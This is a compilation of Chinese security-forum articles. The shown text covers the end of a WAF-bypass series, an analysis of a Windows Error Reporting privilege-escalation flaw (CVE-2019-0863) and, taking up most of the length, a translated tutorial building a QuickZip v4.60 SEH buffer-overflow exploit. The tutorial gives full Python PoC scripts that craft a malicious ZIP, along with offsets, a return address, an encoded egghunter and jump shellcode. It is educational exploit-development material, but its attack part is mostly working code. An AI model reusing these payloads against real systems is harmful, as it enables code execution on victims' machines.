* 通过注册等方式让目标主动发邮件过来，此方法对于大公司几率小，因为出口可能是统一的邮件服务器。可以尝试扫其MailServer网段。
### 0x05 End.
为完成这个系列，将前两篇也适当的增添了一些。有什么这方面的问题可以在本帖问，嗯，那就这样吧。
[wafbypass_misc.pdf](https://xianzhi.aliyun.com/forum/attachment/big_size/wafbypass_misc.pdf)
* * * | 社区文章 |
2018年12月，黑客SandboxEscaper公布了Windows Error Reporting (WER)组件的一个0
day漏洞。经过分析，研究人员发现了另外一个漏洞可以配合该漏洞来进行权限提升。根据微软发布的公告，在2019年5月发布补丁前，该漏洞都是0
day漏洞。那么该漏洞是如何工作的呢？
# Microsoft WER
Windows Error Reporting
工具是一个灵活的基于事件的反馈基础设施，用来收集关于软硬件的问题，然后将信息报告给微软，然后微软提供对应的解决方案。
比如，如果Windows系统奔溃了，那么就会生成错误报告，并保存在WER报告队列目录`C:\ProgramData\Microsoft\Windows\WER\ReportQueue`中，每个报告都会有自己的子目录和有相关元数据的唯一的Report.wer
INI文件。为了让所有进程都报告错误情况，所有用户都有`ReportQueue`目录的写权限，如下图所示：
图1. Windows Error Reporting queue目录
报告生成后，就会发送给微软进行下一步分析。这种交互有很多种触发方式，其中一种方式就是使用`Windows Error
Reporting\QueueReporting`计划任务。从安全的角度来分析，该任务很有意思，因为：
* 它是以System权限运行的
* 可以在需要时触发
* 用固定的命令行参数wermgr.exe -upload来运行特定的二进制代码。
图2. Windows Error Reporting计划任务
执行后，wermgr.exe
会与暂停的报告文件和目录进行交互。读取文件、分析并复制到其他目录中，甚至会删除。因为任何用户都有写权限，如果不注意，就会产生一些安全漏洞。
# 滥用文件系统链接
Windows系统支持不同类型的文件系统链接，文件系统链接可以将文件和目录指向其他目标文件和目录。一旦链接被扫描或重解析后，就会将用户重定向到目标路径。从安全的角度来看，最大的安全威胁来源于滥用硬链接和挂载点，因为用户可以链接到本来没有写权限的文件或目录。
下面的例子解释了对`kernel32.dll`没有写权限的用户可以在`c:\temp\Dir\x.dll`和`C:\Windows\System32\kernel32.dll`之间创建一个链接。如果可以重定向到更高权限的组件，黑客就可以去读、写、甚至删除敏感和重要的文件。
图3. 创建到用户本没有写权限的文件的硬链接
# PoC
简而言之，黑客可以利用WER的能力来修改文件权限来对任意文件分配读、写、编辑和删除权限，具体来说就是使用前面提到的文件系统链接技术将report目录中的文件链接到计算机上的其他目标文件。
下面介绍一个完全的bug利用场景。
## 场景1：
Step 1: `wermger.exe`分析report目录中的所有文件，并提交给微软:
int64 DoCoreUpload(/* ... */) {
/* ... */
Ret = WerpSubmitReportFromStore(ReportPath, /* ... */);
if (Ret >= 0) {
/* Report successfully uploaded */
} else {
if (Ret == ERROR_FILE_CORRUPT) {
DeleteCorruptedReportFromStore(ReportPath);
}
}
}
Step 2: 当
`wermger.exe`检测到损坏的`Report.wer`INI文件，最终会删除它，但首先它要增加进程执行权限修改文件的DACL特征才能删除该文件。
漏洞利用：黑客利用`wermger.exe`读取文件DACL权限的这个小的窗口期，来增加对该文件的删除权限。如果攻击者创建了该文件与系统中其他文件的链接，DACL读取后，`wermgr.exe`就会错误地修改其他文件的安全描述符。因此从安全角度看，这是一个非常不安全的场景。
## 场景2
Step 1:
首先， wermgr.exe -upload
调用`wermgr!DoCoreUpload`函数，该函数会列出`ReportQueue`下的所有子目录。读取错误报告并提交给微软。
Step 2:
如果 wermgr.exe 发现损坏的`Report.wer`INI文件，就修改其DACL，之后再删除它。具体来看：
* 首先，wermgr!DeleteCorruptedReportFromStore列出所有的子目录的文件；
* 然后，wermgr!PreparePathForDeletion修改每个文件的权限。因为函数使用kernel32!GetFileSecurity读取了文件的安全描述符，并调用kernel32!SetFileSecurity来应用删除文件描述符，这也就漏洞的根本所在。
int64 PreparePathForDeletion(wchar_t* FileName) {
PSECURITY_DESCRIPTOR SecurityDescriptor = NULL;
DWORD BytesRead = 0;
PDACL Dacl = NULL;
/* ... */
if ( !GetFileSecurity(FileName,
DACL_SECURITY_INFORMATION,
NULL, 0, &BytesRead) ) {
/* ... */
return;
}
SecurityDescriptor = new BYTE[BytesRead];
if ( !GetFileSecurity(FileName,
DACL_SECURITY_INFORMATION,
SecurityDescriptor,
BytesRead, &BytesRead) ) {
/* ... */
return;
}
if ( GetSecurityDescriptorDacl(SecurityDescriptor,
&DaclPresent,
&Dacl, &DaclDefaulted) )
{
/* ... */
HANDLE TokenHandle = NULL;
PACL NewAcl = NULL;
EXPLICIT_ACCESS ExplicitAccess = {0};
/* ... */
LPVOID UserName = new BYTE[/* ... */];
GetTokenInformation(TokenHandle, TokenUser,
UserName, &BytesRead);
ExplicitAccess.Trustee.ptstrName = UserName;
ExplicitAccess.Trustee.TrusteeType = TRUSTEE_IS_NAME;
ExplicitAccess.grfAccessMode = GRANT_ACCESS;
ExplicitAccess.grfAccessPermissions = DELETE | /* ... */;
/* ... */
SetEntriesInAcl(1, &ExplicitAccess, Dacl, &NewAcl);
InitializeSecurityDescriptor(&SecurityDescriptor, 1);
SetSecurityDescriptorDacl(&SecurityDescriptor, 1, NewAcl, 0);
SetFileSecurity(FilePath, DACL_SECURITY_INFORMATION,
&SecurityDescriptor);
}
}
在正确的时间创建链接是非常困难的，黑客会不断地尝试直到成功为止。攻击者可能会攻击DLL、EXE和脚本等可执行文件，用恶意payload来覆盖他们，然后用System权限来执行恶意payload。
<https://unit42.paloaltonetworks.com/tale-of-a-windows-error-reporting-zero-day-cve-2019-0863/> | 社区文章 |
# 【技术分享】QuickZip V4.60 缓冲区溢出漏洞详解
|
##### 译文声明
本文是翻译文章，文章来源：knapsy.com
原文地址：<http://blog.knapsy.com/blog/2015/11/25/easy-file-sharing-web-server-v7-dot-2-remote-seh-buffer-overflow-dep-bypass-with-rop/>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
翻译：[ **shan66**](http://bobao.360.cn/member/contribute?uid=2522399780)
**预估稿费：300RMB**
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**前言**
**本文将为读者详细介绍QuickZip v4.60缓冲区溢出漏洞方面的知识。** 由于漏洞在2010年就出现了，所以它的设计仅适用于32位Windows
XP。所以，我决定尝试在64位Windows 7上重现该漏洞，这将是一个（有趣的）挑战！
**PoC**
为此，我从exploit-db中抓取了QuickZip v4.60 Windows XP漏洞，并将用它创建了一个简单的PoC来触发崩溃。
#!/usr/bin/python
header_1 = ("x50x4Bx03x04x14x00x00x00x00x00xB7xACxCEx34x00x00x00"
"x00x00x00x00x00x00x00x00xe4x0fx00x00x00")
header_2 = ("x50x4Bx01x02x14x00x14x00x00x00x00x00xB7xACxCEx34x00x00x00"
"x00x00x00x00x00x00x00x00x00xe4x0fx00x00x00x00x00x00x01x00"
"x24x00x00x00x00x00x00x00")
header_3 = ("x50x4Bx05x06x00x00x00x00x01x00x01x00"
"x12x10x00x00x02x10x00x00x00x00")
print "[+] Building PoC.."
max_size = 4064
payload = "A" * max_size
payload += ".txt"
print "[+] Length = " + str(len(payload))
exploit = header_1 + payload + header_2 + payload + header_3
mefile = open('cst.zip','w');
mefile.write(exploit);
mefile.close()
print "[+] Exploit complete!"
上述代码创建了一个压缩文件，其中只包含一个名为4064A的文件，它的扩展名为“.txt”。
Header_1，header_2和header_3是ZIP文件结构所需的标题。 我不会详细介绍，但您可以在这里阅读更多。
如果您在QuickZip中打开刚创建的ZIP文件，并尝试提取其内容（或只需双击文件名），那么QuickZip就会崩溃。
**了解崩溃详情**
好的，我们来运行PoC，看看到底发生了什么。
使用上面的Python脚本创建ZIP文件，使用QuickZip打开它，启动ImmunityDebugger，附加到QuickZip进程，并在QuickZip中双击文件名以触发崩溃。
注意：我们将不断重复这个过程！
很好，崩溃如期而至。 另外，这里出现了一个异常，屏幕底部可以看到“Access violation when writing to [00190000]”。
这意味着我们试图写入一个无效的内存地址，从而触发了一个异常。
下面，我们来研究一下SEH链。
很好，看来我们能够控制nSEH指针！下面，我们尝试算出偏移量。
**偏移量**
一如既往，我要借助mona（<https://github.com/corelan/mona> ）来完成许多工作。
首先，我们生成一个4064个独特字符的模版，并将其放在PoC漏洞利用代码的有效载荷中：
!mona pc 4064
再次触发崩溃，看看会发生什么情况。
呃，崩溃看起来有点不同。 这里的问题是LEAVE指令尝试从堆栈跳回到0EEDFADE地址，不过这里是该程序的无效内存地址。
此外，似乎我们无法控制SEH了。
但是，请注意，我们实际上是在内核模块中（请看Immunity窗口的名称：“CPU – main thread, module KERNELBA”）。
使用SHIFT + F9将执行权传回给程序，看看是否触发另一个异常，但是是在QuickZip模块中。
真棒，看起来成功了！
使用以下命令让mona计算所有偏移量：
！mona findmsp
在这里，我们最感兴趣的偏移是nSEH field: offset 292。
让我们用偏移信息更新PoC，并尝试再次触发崩溃。
#!/usr/bin/python
header_1 = ("x50x4Bx03x04x14x00x00x00x00x00xB7xACxCEx34x00x00x00"
"x00x00x00x00x00x00x00x00xe4x0fx00x00x00")
header_2 = ("x50x4Bx01x02x14x00x14x00x00x00x00x00xB7xACxCEx34x00x00x00"
"x00x00x00x00x00x00x00x00x00xe4x0fx00x00x00x00x00x00x01x00"
"x24x00x00x00x00x00x00x00")
header_3 = ("x50x4Bx05x06x00x00x00x00x01x00x01x00"
"x12x10x00x00x02x10x00x00x00x00")
print "[+] Building PoC.."
max_size = 4064
nseh_offset = 292
payload = "A" * nseh_offset # padding for nSEH
payload += "BBBB" # nSEH
payload += "CCCC" # SEH
payload += "A" * (max_size - len(payload)) # padding for the rest of payload
payload += ".txt"
print "[+] Length = " + str(len(payload))
exploit = header_1 + payload + header_2 + payload + header_3
mefile = open('cst.zip','w');
mefile.write(exploit);
mefile.close()
print "[+] Exploit complete!"
太好了，我们控制了SEH！让我们将异常传给程序（SHIFT + F9），并进一步调查发生了什么。
当然，另外一个异常也被触发，因为43434343是这个程序的无效内存地址，但是让我们看看堆栈上到底发生了什么——通常是SEH溢出，我们需要调用一组POP-POP-RET指令来返回到缓冲区。
找到这样的指令是很容易的，但首先，我们必须知道允许使用哪些字符。这就是我们需要关注的下一个问题。
**坏字符**
总的来说，大部分是这样的。为什么？因为我们的溢出是针对filename参数的，而文件名用到的字符类型是相当有限的： 通常只有ASCII可打印的字符。
如果使用手动方式的话，那么使用mona通过遍历方法找到所有坏的字符将需要太长的时间，所以这里简单假设除了0x00、0x0a和0x0d（分别代表NULL、换行和回车）之外，我可以使用ASCII表中所有的字符（最高值为0x7F的字符）。
这个假设可能会比事情比实际情况要更困难（因为我需要避免使用实际可以使用的字符）一些，或者可能会导致更多的问题，如果我的假设范围内的某些字符其实是错误的话。
我不喜欢这样做假设，但为了进行这个练习，这里例外一次。
我只需要记住，要格外小心，如果有情况，则需要再次检查坏的字符。这有点冒险，但很好玩，继续！
**POP-POP-RET**
让我们通过mona来寻找一个易于使用的POP-POP-RET指令：
！mona seh
这里找到很多结果（7909！），但突出显示的结果看起来最有希望——全部由字母数字字符组成，位于QuickZip.exe二进制文件本身中，有望使其更具跨平台特性，因为我们不希望依赖特定的操作系统DLL。
这里唯一的问题是0x00字节，但是由于程序的地址空间的原因，每个地址都以0x00开头，所以我们来尝试一下，看看是否会影响我们的漏洞利用代码。
更新PoC漏洞利用代码，用 x33 x28 x42 x00替换目前代表SEH的CCCC，再次触发崩溃并考察SEH链。
好的，看起来我们的地址没有乱码，跟我们的预期相符。 设置断点（F2），然后按SHIFT + F9将控制权传递给程序。
如您所见，我们将重定向到POP-POP-RET指令，让我们用F8进行操作，并在RETN 4指令之后停止。
真棒，我们已经进入有效载荷…但有一个问题：因为NULL字节的缘故，SEH链之后的所有东西都被切断了，所以没有给我们太多的空间做任何事情。
**shellcode去哪里了？**
好的，我们分析一下，看看我们进展情况。
我们设法让它崩溃了，并且能控制SEH，这非常好！ 问题是我们的有效载荷受制于一个非常有限的字符集，并且因为我们必须使用NULL字节的地址来调用POP-POP-RET指令，我们的有效载荷被切断了，并且留给shellcode的空间也不是很大。
那么它究竟有多大呢？ 别忘了，为了获得SEH，我们还在有效负载开始部分进行了填充：
那么我们有多少空间呢？ 共计292个字节。 不幸的是，这些是不够的。
不过，这个问题好像可以用egghunter来解决！
Egghunter只是一堆指令，在程序的内存空间中查找一个特定的、已知的字节序列（“egg”），一旦找到，将重定向到该区域。
这样我们就不用担心我们的shellcode在哪里结束了，我们可以调用eghtunter例程，它会为我们找到它们！
听起来不错，但下一个问题是，有效载荷的“截止”部分真的位于在内存中吗？ 我们来看看吧。
让我们生成3764个单字符的模版（在NULL字节之后填写我们的有效负载），并用它替换现有的A。
！mona pc 3764
我们触发崩溃，当我们得到我们的第一个异常时，不要将异常传递给程序，而是调用以下命令来在内存中搜索以前生成的模版：
！mona findmsp
太棒了！ 有效载荷的整个“截断”部分仍然在内存中，所以我们应该能够成功地使用egghunter来获取我们的shellcode。
**Egghunter**
现在我们能够使用egghunter来获取我们的shellcode，但是我们只有292个字节可供使用。实际上，我们可以用292字节空间做许多事情，但是别忘了，我们只能使用非常有限的字符集。
我们试着用metasploit的x86 / alpha_mixed编码器对egghunter进行编码，看看在这之后还剩下多少空间。
首先，让我们生成egghunter有效载荷。
请记住，我们正在使用64位操作系统，因此还需要使用相应的egghunter例程（有关更多详细信息，请访问<https://www.corelan.be/index.php/2011/11/18/WOW64-egghunter/>
）：
！mona egghunter -wow64
将生成的字节复制到文本文件中，并使用xxd将其转换为二进制文件：
# cat egghunter-wow64.txt
31db53535353b3c06681caff0f42526a265833c98bd464ff135e5a3c0574e9b8773030748bfaaf75e4af75e1ffe7
# cat egghunter-wow64.txt | xxd -r -p > egghunter-wow64.bin
现在，我们需要让编码器确保只用ASCII可打印字符。
# msfencode -e x86/alpha_mixed bufferregister=eax -i egghunter-wow64.bin
[*] x86/alpha_mixed succeeded with size 146 (iteration=1)
buf =
"x50x59x49x49x49x49x49x49x49x49x49x49x49x49" +
"x49x49x49x49x37x51x5ax6ax41x58x50x30x41x30" +
"x41x6bx41x41x51x32x41x42x32x42x42x30x42x42" +
"x41x42x58x50x38x41x42x75x4ax49x66x51x49x4b" +
"x52x73x53x63x62x73x36x33x4ex53x6fx30x75x36" +
"x6dx51x59x5ax49x6fx36x6fx72x62x71x42x42x4a" +
"x66x46x56x38x74x73x78x49x4cx4bx4bx64x61x74" +
"x49x6fx47x63x31x4ex50x5ax77x4cx77x75x53x44" +
"x49x79x38x38x52x57x36x50x50x30x33x44x6cx4b" +
"x59x6ax4ex4fx32x55x38x64x4ex4fx70x75x6bx51" +
"x6bx4fx79x77x41x41"
注意：我已经使用bufferedregister = eax选项，这是因为编码器需要找到它在内存中的位置，以便能够对有效载荷进行解码。
最初，负责该项工作的例程不在ASCII可打印的字符集中，因此会破坏我们的有效载荷。
指定bufferregister选项基本上就是告诉编码器不用担心如何在内存中找到自己的位置，我们会事先做好这件事情，我们将其地址放在EAX寄存器中。
这样，我们的编码后的egghunter就是纯ASCII字符（更多关于生成字母数字shellcode的信息可以在这里找到）。
我们更新我们的PoC漏洞利用代码，以反映我们迄今为止所做的工作的成效。
#!/usr/bin/python
header_1 = ("x50x4Bx03x04x14x00x00x00x00x00xB7xACxCEx34x00x00x00"
"x00x00x00x00x00x00x00x00xe4x0fx00x00x00")
header_2 = ("x50x4Bx01x02x14x00x14x00x00x00x00x00xB7xACxCEx34x00x00x00"
"x00x00x00x00x00x00x00x00x00xe4x0fx00x00x00x00x00x00x01x00"
"x24x00x00x00x00x00x00x00")
header_3 = ("x50x4Bx05x06x00x00x00x00x01x00x01x00"
"x12x10x00x00x02x10x00x00x00x00")
print "[+] Building PoC.."
max_size = 4064
nseh_offset = 292
# msfencode -e x86/alpha_mixed bufferregister=eax -i egghunter-wow64.bin
# [*] x86/alpha_mixed succeeded with size 146 (iteration=1)
egghunter = ("x50x59x49x49x49x49x49x49x49x49x49x49x49x49"
"x49x49x49x49x37x51x5ax6ax41x58x50x30x41x30"
"x41x6bx41x41x51x32x41x42x32x42x42x30x42x42"
"x41x42x58x50x38x41x42x75x4ax49x66x51x49x4b"
"x52x73x53x63x62x73x36x33x4ex53x6fx30x75x36"
"x6dx51x59x5ax49x6fx36x6fx72x62x71x42x42x4a"
"x66x46x56x38x74x73x78x49x4cx4bx4bx64x61x74"
"x49x6fx47x63x31x4ex50x5ax77x4cx77x75x53x44"
"x49x79x38x38x52x57x36x50x50x30x33x44x6cx4b"
"x59x6ax4ex4fx32x55x38x64x4ex4fx70x75x6bx51"
"x6bx4fx79x77x41x41")
payload = egghunter
payload += "A" * (nseh_offset - len(payload)) # padding for nSEH
payload += "BBBB" # nSEH
payload += "x33x28x42x00" # SEH
payload += "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev"
payload += ".txt"
print "[+] Length = " + str(len(payload))
exploit = header_1 + payload + header_2 + payload + header_3
mefile = open('cst.zip','w');
mefile.write(exploit);
mefile.close()
print "[+] Exploit complete!"
让我们触发崩溃，将控制权传递给该程序并执行POP-POP-RET指令。 之后，在CPU窗口中向上滚动，寻找egghunter有效载荷和一组EC
ECX指令（代表字符A）的结束位置。
好的，看起来像是在那里，它似乎也是正确的:没有使用不符合要求的字符！
**跳转回来**
现在我们还有更多的事情需要考虑——这里最重要的一点是，我们需要把egghunter的地址放在EAX中，然后跳转到那里。
我们如何在空间有限的情况下做到这一点？ 首先，我们有多少空间？ 简单计算一下就知道是146字节（nseh偏移减去egghunter的大小）。
146字节可以做什么？ 我们只需要写几个指令，但是它们必须属于允许使用的有限的字符集。
在这种情况下，我们不能使用已经用于egghunter的通用编码器，因为我们根本没有足够的空间来满足它。
所以，我们需要创建自己的编码器！ 这听起来很让人头疼，但实际上比看起来要简单得多。
首先，我们来看看目前在程序中的位置。
我们只有4个字节，可由我们支配用来跳回有效载荷并开始写定制的编码器。同时，这4个字节最好是字母数字。 幸运的是，有多个指令可供使用，特别是在那些情况下！
在这方面，可以参考TheColonial分享的相关技巧：http://buffered.io/posts/jumping-with-bad-chars/。
简而言之，我们可以简单地使用JO和JNO指令来调用近转移指令到我们的有效载荷。 但我们能跳多远？
通过用一些允许的字符的包裹后，我发现一些坏的字符会被转换为A2，它转换成十进制就是92，这应该能给我们提供足够的空间，以创建我们的自定义编码器。
让我们用metasm生成所需的操作码，并将它们添加到我们的有效载荷中，用于代替nSEH。
metasm > jno $-99
"x71x9b"
metasm > jo $-99
"x70x9b"
注意： x9b（-99），因为这是一个不符合要求的字符，所以实际上将转换为 xa2（-92）。
我们的PoC部分应该如下所示：
payload = egghunter
payload += "A" * (nseh_offset - len(payload)) # padding for nSEH
payload += "x71x9bx70x9b" # nSEH: jno $-99; jo $-99 ==> 9b will actually be converted to A2, which is $-92
payload += "x33x28x42x00" # SEH
payload += pattern # pattern to look for in memory
payload += ".txt"
让我们触发崩溃，将执行权传递给程序，单步调试POP-POP-RET指令，观察单步调试JNO / JO指令时会发生什么。
令人惊奇的是，这次跳转到了我们的有效载荷！ 现在，创建自定义编码器，编写指令，跳转到egg hunting例程。
**定制编码器**
为了跳到eghunter，我们需要写许多条指令，因为不使用“坏”字符的话，就没有直接的方法。
要解决这个问题，我们需要执行以下操作：
**找出我们想要写的指令的操作代码**
**使用简单的数学指令（即ADD和SUB），通过允许的字符将来自上述步骤的操作码的值放入我们选择的寄存器（例如EAX）中**
**我们将这个寄存器的值写入堆栈，从而将我们想要的指令写入ESP指向的内存区域**
听起来很复杂？ 但实际上并不是那么糟糕。
首先，我们需要调整堆栈才能写入我们控制的内存区域。
通过观察ESP的值和我们目前的位置（上面的截图），可以发现，我们需要将ESP偏移0x62C（0x0018FB58（EIP的值）减去0x0018F528（ESP的值）再减去0x4（用于填充的空字节））。
这可以通过以下指令来实现：
push esp;
pop eax;
add eax, 0x62C;
push eax;
pop esp;
上述指令的相应操作码如下所示：
"x54" # push esp;
"x58" # pop eax;
"x05x2cx06x00x00" # add eax, 0x62C
"x50" # push eax;
"x5c" # pop esp;
但是，这里有一个问题—— “ x05 x2c x06 x00 x00”有两个NULL字节，这将破坏我们的漏洞利用代码。
然而，我们可以通过使用有效字符执行几次ADD和SUB指令来设置成我们想要的值，例如，
x05x2dx07x01x01 # add eax, 0x0101072D
x2dx01x01x01x01 # sub eax, 0x01010101
# total: 0x00000630
瞧！我们可以使用有效的字符来实现同样的事情。下面我们来更新漏洞利用代码，看看会发生什么。
太棒了，我们的有效载荷完全与堆栈可以完美搭配了，下面开始编写我们的编码器。
注意：由于pop esp指令（ x5c）的缘故，ZIP文件的内容看起来会有点不同。
